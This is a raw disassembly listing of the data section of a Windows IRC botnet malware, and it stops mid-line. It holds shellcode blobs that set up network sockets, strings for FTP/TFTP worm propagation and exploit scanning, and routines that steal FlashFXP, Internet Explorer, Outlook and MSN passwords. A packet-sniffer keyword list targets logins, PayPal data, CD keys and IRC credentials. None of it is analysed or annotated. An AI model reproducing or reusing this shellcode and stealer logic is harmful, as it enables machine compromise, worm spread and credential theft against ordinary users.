a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_411BBC+6Eo align 10h aFtpWormrideThr db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o dword_41C724 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_411DC5+5E2o unk_41C730 db 2Dh ; - ; DATA XREF: sub_411DC5+5BDo db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TftpTransfer db '- %u. tftp transfer to %s complete.',0 align 10h aWormride db 'wormride',0 ; DATA XREF: sub_411DC5+5B8o align 4 dword_41C76C dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_411DC5+367o aOctet db 'octet',0 ; DATA XREF: sub_411DC5+333o ; sub_411DC5+345o align 4 unk_41C788 db 2Dh ; - ; DATA XREF: sub_411DC5+144o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningTftpWor db '- Running TFTP wormride thread',0 aTftpWormrideTh db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo align 4 loc_41C7C8: ; DATA XREF: sub_4125DF+50o jmp short loc_41C7DF ; --------------------------------------------------------------------------- loc_41C7CA: ; CODE XREF: .data:loc_41C7DFp mov ecx, 0 xor ecx, 0 pop esi loc_41C7D6: ; CODE XREF: .data:0041C7DBj xor byte ptr [ecx+esi-1], 0 loop loc_41C7D6 jmp short near ptr dword_41C7E4 ; --------------------------------------------------------------------------- loc_41C7DF: ; CODE XREF: .data:loc_41C7C8j call loc_41C7CA ; --------------------------------------------------------------------------- dword_41C7E4 dd 0 ; CODE XREF: .data:0041C7DDj dword_41C7E8 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+CBo dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41C89C dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+8Co dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 2685353h, 8B000000h, 6AD88BD4h, 0BA535210h, 0C2A69000h dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h dd 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41C964 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+36o dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h, 75222222h dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh, 20EC8300h dd 0BFEA758Bh, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41CA18 dd 8B20EC83h, 45D89ECh, 81007D89h, 200ECh, 14658900h, 8B64DB33h ; DATA XREF: sub_412720+71o dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh, 38B048Bh dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h, 6E92BA54h dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh, 3 dup(0) dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h, 0BA1875FFh dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh, 0B9BA1C75h dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h, 8BFDE2ABh dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h, 0FF2694F1h dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h, 0C5935CBAh dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh dd 7315685h, 7D8BD6FFh, 46BABA08h, 0D6FFC10Ch db 0 byte_41CB95 db 0E3h ; DATA XREF: sub_4125DF+CFr ; sub_4125DF+E4w align 4 dword_41CB98 dd 4113E68Bh ; DATA XREF: sub_4125DF+60r ; sub_4125DF+75w align 10h off_41CBA0 dd offset dword_41CC4C ; DATA XREF: sub_4127D0+77r dd offset dword_41CC40 dd 0 dd offset dword_41CC2C dd offset dword_41CC20 align 8 or ah, cl inc ecx add ah, bh retf ; --------------------------------------------------------------------------- dw 41h dd 0 dd offset dword_41CBE8 dd offset dword_41CBDC dd 4 dup(0) dword_41CBDC dd 808FD6DAh, 2 dup(0) ; DATA XREF: .data:0041CBC8o ; .data:0041DA90o dword_41CBE8 dd 0DB999E9Ah, 0D5ABC9FCh, 0BEB1F3E6h, 2 dup(0) ; DATA XREF: .data:0041CBC4o ; .data:0041DA8Co dd 8284D6D3h, 0A9h, 0 dd 0DE999E9Ah, 0DFA09EFCh, 0FDA4EAACh, 0DE91BB92h, 2 dup(0) dword_41CC20 dd 808ED7D7h, 2 dup(0) ; DATA XREF: .data:0041CBB0o ; .data:0041DA78o dword_41CC2C dd 0C3999E9Ah, 0DBBA96ECh, 0BAF0FDA9h, 98B395h, 0 ; DATA XREF: .data:0041CBACo ; .data:0041DA74o dword_41CC40 dd 8381DED3h, 2 dup(0) ; DATA XREF: .data:0041CBA4o ; .data:off_41DA6Co dword_41CC4C dd 0D5999E9Ah, 0CCAB8EF3h, 0B6ACF5A0h, 0CB9EB7D5h, 2 dup(0) ; DATA XREF: .data:off_41CBA0o ; .data:off_41DA68o dword_41CC64 dd 72h ; DATA XREF: sub_412A3A:loc_412B93o dword_41CC68 dd 62h ; DATA XREF: sub_412BC9:loc_412D11o dword_41CC6C dd 63h ; DATA XREF: sub_412D56:loc_412DC8o dword_41CC70 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_412E04+64o dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh dd 2074726Fh, 2343003h, 2037325h, 0 dword_41CCA8 dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h ; DATA XREF: sub_412F07+98o dd 74726F70h, 34300320h, 3752502h, 2, 0 byte_41CCD0 db 86h ; DATA XREF: sub_41294E+3Co ; sub_41294E+4Co ... db 85h, 0D8h, 0DDh dd 0AFh, 2 dup(0) dd 0D3000000h, 82D5h, 3 dup(0) db 2 dup(0) dword_41CCF6 dd 9BA848F6h ; DATA XREF: sub_41294E+2Br ; sub_412FC6+31r ... dword_41CCFA dd 0 ; DATA XREF: sub_412FC6+57w ; sub_414052+B5r ... off_41CCFE dd offset sub_410649 ; DATA XREF: sub_41294E+1Cr ; sub_412FC6+18r ... dw 3 dd 0 dd 838C0000h, 8EFCC0C3h, 0A6h, 2 dup(0) dd 82D2D600h, 4 dup(0) dd 4DE1462Fh, 0 dd offset sub_410B52 dd 3, 10h dup(0) dword_41CD80 dd 6E695728h, 293233h ; DATA XREF: sub_41308F+217o dword_41CD88 dd 696E5528h, 2978h ; DATA XREF: sub_41308F+1F1o dword_41CD90 dd 63617041h, 252F6568h, 75h ; DATA XREF: sub_41308F+1DFo aApache db 'Apache',0 ; DATA XREF: sub_41308F+1B9o align 4 aMicrosoftIisU_ db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o aMicrosoftIis db 'Microsoft-IIS',0 ; DATA XREF: sub_41308F+FCo align 4 aServer db 'Server:',0 ; DATA XREF: sub_41308F+7Ao aOptionsHttp1_0 db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo db 0Dh,0Ah,0 align 4 unk_41CDE8 db 53h ; S ; DATA XREF: sub_41349C+5E4o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 3 db 30h, 34h, 2 db 25h ; % db 73h, 3, 2 db 3Ah ; : db 25h, 73h, 20h db 69h ; i db 6Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 30h ; 0 db 2Eh, 32h, 66h db 3 db 2, 73h, 65h db 63h ; c db 2Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aOpenIpSFound db 'open IP(s) found',0 align 4 dword_41CE2C dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h ; DATA XREF: sub_41349C+55Eo dword_41CE40 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_41349C+343o dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h dd 2037525h, 63657320h, 28646E6Fh, 2973h dword_41CE78 dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h ; DATA XREF: sub_41349C+305o dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h dd 297328h unk_41CEA4 db 53h ; S ; DATA XREF: sub_413AB0+1DCo db 63h, 61h, 6Eh db 6Eh ; n db 69h, 6Eh, 67h db 20h db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 db 3Ah, 25h, 73h db 20h db 66h, 6Fh, 72h db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aSecondSTUSU db ' second(s), t:%u s:%u',0 align 4 dword_41CEDC dd 3430032Dh, 3752502h, 41202D02h, 6D657474h, 64657470h ; DATA XREF: sub_413CB3+30Eo dd 34300320h, 3752502h, 78652002h, 696F6C70h, 69746174h dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h dd 2E297328h, 0 dword_41CF20 dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h ; DATA XREF: sub_413CB3+2B0o dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h dd 2037325h, 2E2E2Eh unk_41CF50 db 2Dh ; - ; DATA XREF: sub_413CB3+31o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aAttemptingTo_0 db '- Attempting to exploit IP',27h,'s in list.',0 align 10h aAttemptingToEx db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o dword_41CFA4 dd 3003203Ah, 75250234h, 202E0203h, 0 ; DATA XREF: sub_414052+BBo aExploitStatist db 'Exploit statistics - ',0 ; DATA XREF: sub_414052+29o align 4 aListingExploit db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo align 4 dword_41CFE8 dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h ; DATA XREF: sub_4141C1+D8o dd 34300320h, 3732502h, 6F702002h, 3207472h, 25023430h dd 2E020373h, 0 dword_41D018 dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h ; DATA XREF: sub_4141C1+B4o dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h dd 2037325h, 3430033Ah, 3732502h, 202E02h dword_41D050 dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h ; DATA XREF: sub_4141C1+78o dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h dd 203736Dh, 2Eh dword_41D080 dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h ; DATA XREF: sub_4142BF+D8o dd 30032074h, 73250234h, 203h unk_41D0A0 db 53h ; S ; DATA XREF: sub_4143B0+221o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 25h ; % db 73h, 20h, 69h db 6Eh ; n db 20h, 3, 30h db 34h ; 4 db 2, 25h, 30h db 2Eh ; . db 32h, 66h, 3 db 2 db 73h, 65h, 63h db 2Eh ; . db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 6Fh aPenPortSFound db 'pen port(s) found',0 align 4 dword_41D0DC dd 33A7325h, 25023430h, 20020373h, 6F207369h, 6E6570h ; DATA XREF: sub_4143B0+1BAo dword_41D0F0 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_4143B0+81o dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh dd 3752502h, 69772002h, 3206874h, 25023430h, 20020375h dd 6B636F73h, 73287465h, 29h dword_41D138 dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h ; DATA XREF: sub_414600+1BEo dd 3752502h, 30032D02h, 75250234h, 77200203h, 20687469h dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h aYa36za48dehfrv db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o ; sub_4147E5+C6o align 4 aSflashfxpSites db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o align 4 aFlashfxpSites_ db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o aProgramfiles db 'ProgramFiles',0 ; DATA XREF: sub_4148CE+ABo align 10h aSites_dat db 'sites.dat',0 ; DATA XREF: sub_4148CE:loc_414945o align 4 aFlashfxp_exe1 db 'FlashFXP.exe %1',0 ; DATA XREF: sub_4148CE+57o aSoftwareClasse db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0 ; DATA XREF: sub_4148CE+15o align 4 unk_41D22C db 2Dh ; - ; DATA XREF: sub_414A1E+464o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 2Fh, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aFlashfxpPass_0 db 'FlashFXP password(s).',0 align 4 dword_41D268 dd 2343003h, 2037525h ; DATA XREF: sub_414A1E+3C4o a_FlashfxpFtpSS db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0 aPass127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+352o db 'Pass=%127s',0Dh,0Ah,0 align 4 aUser127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+338o db 'User=%127s',0Dh,0Ah,0 align 4 aPort127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+31Eo db 'Port=%127s',0Dh,0Ah,0 align 4 aIp127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+304o db 'IP=%127s',0Dh,0Ah,0 align 4 asc_41D2D4 db '[%[^]]]',0Dh,0Ah,0 ; DATA XREF: sub_414A1E+2EAo align 10h aPass_0 db 0Dh,0Ah ; DATA XREF: sub_414A1E+1F4o db 'Pass=',0 aUser_0 db 0Dh,0Ah ; DATA XREF: sub_414A1E+1DCo db 'User=',0 aPort db 0Dh,0Ah ; DATA XREF: sub_414A1E+1C4o db 'Port=',0 aIp db 0Dh,0Ah ; DATA XREF: sub_414A1E+1ACo db 'IP=',0 align 10h asc_41D300 db 0Dh,0Ah ; DATA XREF: sub_414A1E:loc_414BA6o db 0Dh,0Ah db '[',0 align 4 unk_41D308 db 2Dh ; - ; DATA XREF: sub_414A1E+55o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingFlashfx db '- Listing FlashFXP passwords',0 align 10h aFlashfxpPasswo db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo align 4 unk_41D34C db 2Dh ; - ; DATA XREF: sub_414EF4+B8Ao db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 69h aNternetExplore db 'nternet explorer password(s).',0 align 4 dword_41D388 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh ; DATA XREF: sub_414EF4+AD8o dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh dd 203A6574h, 2343003h, 2037325h, 614E202Eh, 203A656Dh dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h dd 2343003h, 2037325h, 2Eh dword_41D3E4 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh ; DATA XREF: sub_414EF4+A2Bo dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h dd 3203A64h, 25023430h, 2E020373h, 74614420h, 3203A61h dd 25023430h, 2E020373h, 0 dword_41D42C dd 70747468h, 2F3A73h ; DATA XREF: sub_414EF4+9DDo dword_41D434 dd 70747468h, 2F3Ah ; DATA XREF: sub_414EF4+9C6o dword_41D43C dd 7274533Ah, 676E69h ; DATA XREF: sub_414EF4+983o ; sub_414EF4+99Ao aStringindex db 'StringIndex',0 ; DATA XREF: sub_414EF4+968o aE161255a db 'e161255a',0 ; DATA XREF: sub_414EF4:loc_415842o align 4 dword_41D45C dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h ; DATA XREF: sub_414EF4+935o dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h dword_41D49C dd 2Ch ; DATA XREF: sub_414EF4+83Bo ; sub_414EF4+852o ... aB9819c52 db 'b9819c52',0 ; DATA XREF: sub_414EF4:loc_4155CEo align 4 dword_41D4AC dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h ; DATA XREF: sub_414EF4+6C6o dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h dd 2037325h, 6150202Eh, 6F777373h, 203A6472h, 2343003h dd 2037325h, 2Eh a5e7e8100 db '5e7e8100',0 ; DATA XREF: sub_414EF4:loc_41550Co align 10h dword_41D510 dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh ; DATA XREF: sub_414EF4+604o dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h a220d5cc1 db '220d5cc1',0 ; DATA XREF: sub_414EF4+5C2o align 4 aWs db '%ws',0 ; DATA XREF: sub_414EF4+41Co asc_41D560 db '%x',0 ; DATA XREF: sub_414EF4+234o align 4 unk_41D564 db 2Dh ; - ; DATA XREF: sub_414EF4+1A9o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingInterne db '- Listing internet explorer passwords',0 align 8 dword_41D598 dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; DATA XREF: sub_414EF4+123o ; sub_414EF4+2C7o ... aInternetExplor db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o align 4 dword_41D5CC dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h ; DATA XREF: sub_415B60+277o dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h dd 3732502h, 57202E02h, 646C726Fh, 20664F20h, 63726157h dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h dd 2Eh aSoftwareValveS db 'Software\Valve\Steam',0 ; DATA XREF: sub_415B60+149o align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0 ; DATA XREF: sub_415B60+10Ao align 4 aConquer db '[Conquer]',0 ; DATA XREF: sub_415B60:loc_415C2Fo align 10h aWorldOfWarcraf db 'World Of Warcraft',0 ; DATA XREF: sub_415B60:loc_415C0Eo align 4 aUnreal3 db 'Unreal3',0 ; DATA XREF: sub_415B60+8Co aListingInteres db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo align 4 off_41D6FC dd offset aUser_1 ; DATA XREF: sub_415EB7+32o ; "user " dd offset aUnknown_1 ; "unknown " dd offset aPass_2 ; "pass " dd offset aMailpass ; "MailPass " dd offset aOper ; "oper " dd 0 dd offset aIdentify ; "identify " dd 0 dd offset aAuth_0 ; " :auth " dd 0 dd offset aPasswd_0 ; "passwd=" dd 0 dd offset aUsername_0 ; "username=" dd 0 dd offset aPassword_0 ; "password=" dd 0 dd offset aLogin_1 ; "login=" dd 0 dd offset aPass_1 ; "pass=" dd 0 dd offset aPw ; "pw=" dd 2 dup(0) off_41D758 dd offset aLogin_0 ; DATA XREF: sub_415EB7+54o ; "login " align 10h dd offset aSxt ; "sxt " align 8 dd offset aAuth ; "auth " align 10h dd offset aPasswort ; "passwort " align 8 dd offset aCdkey ; "cdkey" align 10h dd offset aCdKey_0 ; "cd-key" align 8 dd offset aCdKey ; "cd key" align 10h dd offset aPassword ; "password" align 8 dd offset aPaypal_com ; "paypal.com" align 10h dd offset aPaypal ; "paypal" align 8 dd offset aIrcOperator ; "irc operator" dd 0 dd offset aLP ; "l/p" align 8 dd offset aSsh1_5 ; "SSH-1.5" align 10h dd offset aSsh1_99 ; "SSH-1.99" dd 2 dup(0) off_41D7CC dd offset aSetCookie ; DATA XREF: sub_415EB7+76o ; "Set-Cookie:" dd 0 dd offset aSyn ; "syn" dd 0 dd offset aFlood ; "flood " dd 0 dd offset aClone ; "clone " dd 0 dd offset aServU_0 ; "serv-u" dd 0 dd offset aServU ; "serv u" dd 0 dd offset aServu ; "servu" dd 0 dd offset aDdos ; "ddos" align 10h off_41D810 dd offset dword_41D86C ; DATA XREF: sub_415EB7+98o align 8 dd offset dword_41D864 align 10h dd offset dword_41D85C align 8 dd offset dword_41D854 align 10h dd offset dword_41D84C align 8 dd offset dword_41D844 dd 2 dup(0) dword_41D844 dd 54495551h, 20h ; DATA XREF: .data:0041D838o dword_41D84C dd 54524150h, 20h ; DATA XREF: .data:0041D830o dword_41D854 dd 4E494F4Ah, 20h ; DATA XREF: .data:0041D828o dword_41D85C dd 49504F54h, 2043h ; DATA XREF: .data:0041D820o dword_41D864 dd 49544F4Eh, 204543h ; DATA XREF: .data:0041D818o dword_41D86C dd 56495250h, 2047534Dh, 0 ; DATA XREF: .data:off_41D810o aDdos db 'ddos',0 ; DATA XREF: .data:0041D804o align 10h aServu db 'servu',0 ; DATA XREF: .data:0041D7FCo align 4 aServU db 'serv u',0 ; DATA XREF: .data:0041D7F4o align 10h aServU_0 db 'serv-u',0 ; DATA XREF: .data:0041D7ECo align 4 aClone db 'clone ',0 ; DATA XREF: .data:0041D7E4o align 10h aFlood db 'flood ',0 ; DATA XREF: .data:0041D7DCo align 4 aSyn db 'syn',0 ; DATA XREF: .data:0041D7D4o aSetCookie db 'Set-Cookie:',0 ; DATA XREF: .data:off_41D7CCo aSsh1_99 db 'SSH-1.99',0 ; DATA XREF: .data:0041D7C0o align 4 aSsh1_5 db 'SSH-1.5',0 ; DATA XREF: .data:0041D7B8o aLP db 'l/p',0 ; DATA XREF: .data:0041D7B0o aIrcOperator db 'irc operator',0 ; DATA XREF: .data:0041D7A8o align 10h aPaypal db 'paypal',0 ; DATA XREF: .data:0041D7A0o align 4 aPaypal_com db 'paypal.com',0 ; DATA XREF: .data:0041D798o align 4 aCdKey db 'cd key',0 ; DATA XREF: .data:0041D788o align 4 aCdKey_0 db 'cd-key',0 ; DATA XREF: .data:0041D780o align 4 aCdkey db 'cdkey',0 ; DATA XREF: .data:0041D778o align 4 aPasswort db 'passwort ',0 ; DATA XREF: .data:0041D770o align 4 aAuth db 'auth ',0 ; DATA XREF: .data:0041D768o align 10h aSxt db 'sxt ',0 ; DATA XREF: .data:0041D760o align 4 aLogin_0 db 'login ',0 ; DATA XREF: .data:off_41D758o align 10h aPw db 'pw=',0 ; DATA XREF: .data:0041D74Co aPass_1 db 'pass=',0 ; DATA XREF: .data:0041D744o align 4 aLogin_1 db 'login=',0 ; DATA XREF: .data:0041D73Co align 4 aPassword_0 db 'password=',0 ; DATA XREF: .data:0041D734o align 10h aUsername_0 db 'username=',0 ; DATA XREF: .data:0041D72Co align 4 aPasswd_0 db 'passwd=',0 ; DATA XREF: .data:0041D724o aAuth_0 db ' :auth ',0 ; DATA XREF: .data:0041D71Co aIdentify db 'identify ',0 ; DATA XREF: .data:0041D714o align 4 aOper db 'oper ',0 ; DATA XREF: .data:0041D70Co align 10h aMailpass db 'MailPass ',0 ; DATA XREF: .data:0041D708o align 4 aPass_2 db 'pass ',0 ; DATA XREF: .data:0041D704o align 4 aUnknown_1 db 'unknown ',0 ; DATA XREF: .data:0041D700o align 10h aUser_1 db 'user ',0 ; DATA XREF: .data:off_41D6FCo align 4 dword_41D9A8 dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h ; DATA XREF: sub_415F69+5CEo dd 3206D6Fh, 25023430h, 3A020373h, 2343003h, 2037525h dd 73253E2Dh, 2075253Ah, 0 unk_41D9DC db 2Dh ; - ; DATA XREF: sub_415F69+1A6o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 65h ; e db 76h, 65h, 6Ch db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aPacketSnifferR db ' packet sniffer running',0 align 10h dword_41DA10 dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h ; DATA XREF: sub_41665C+8Eo dd 6E732074h, 65666669h, 72h, 41DA34h, 0DCD88992h, 0CEBA94B3h dd 0B4ACFFE6h, 2 dup(0) dword_41DA48 dd 0A1C21D0Eh ; DATA XREF: sub_40A9CF+843r ; .data:00416845r ... dword_41DA4C dd 0D6AF099Eh ; DATA XREF: .data:0041683Dr dword_41DA50 dd 0ED38F9D8h ; DATA XREF: .data:00416832r dword_41DA54 dd 5D58CED8h ; DATA XREF: .data:0041682Cr dd 0 off_41DA5C dd offset dword_41DD44 ; DATA XREF: sub_40E618+1C3r ; sub_40E618+1D5r ... dd 2 dup(0) off_41DA68 dd offset dword_41CC4C ; DATA XREF: sub_40A9CF+7B3r ; sub_40CF2F+82r ... off_41DA6C dd offset dword_41CC40 ; DATA XREF: sub_40CF2F+B8r dword_41DA70 dd 0 ; DATA XREF: sub_40CF2F+D0r ; sub_40CF2F+DFr dd offset dword_41CC2C dd offset dword_41CC20 align 10h or ah, cl inc ecx add ah, bh retf ; --------------------------------------------------------------------------- dw 41h dd 0 dd offset dword_41CBE8 dd offset dword_41CBDC dd 4 dup(0) dword_41DAA4 dd 8F88D9DDh, 81F1C5A2h, 2 dup(0) ; DATA XREF: sub_40D043:loc_40D31Fo ; sub_40D871:loc_40DCB8o dword_41DAB4 dd 73616C23h, 36h, 1Eh dup(0) ; DATA XREF: sub_40332B+1A1o ; sub_4093B6+6Co ... byte_41DB34 db 0C1h ; DATA XREF: sub_40D043+28Cr ; sub_40D043+297o db 85h, 0D8h, 0DFh dd 0F1h, 1Eh dup(0) byte_41DBB4 db 0 ; DATA XREF: sub_40D043+2B3r ; sub_40D043+2BEo align 4 dd 1Fh dup(0) dword_41DC34 dd 3430032Eh, 2036202h, 0 ; DATA XREF: sub_40A9CF:loc_40C4DAo ; sub_40D871+242o dword_41DC40 dd 0D3D58395h, 90FCC9F1h, 0B2FCACh, 3Eh dup(0) ; DATA XREF: sub_406A23+2Eo ; sub_406AE7+2Eo dword_41DD44 dd 0DFDFA6C8h, 0DBA0D4F2h, 0BCh, 0 ; DATA XREF: .data:off_41DA5Co dword_41DD54 dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: .data:00416B0Do aEipHasLeftTheE db '- eip has left the endless loop for some reason...',0 align 4 aEntry db 'entry',0 ; DATA XREF: .data:00416AE7o align 4 aLoop db 'loop',0 ; DATA XREF: .data:loc_416AC5o align 4 aPing08x db 'PING :%08X',0 ; DATA XREF: .data:00416A54o align 10h a08xX08x3x08x08 db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: .data:0041684Bo align 10h dword_41DDD0 dd 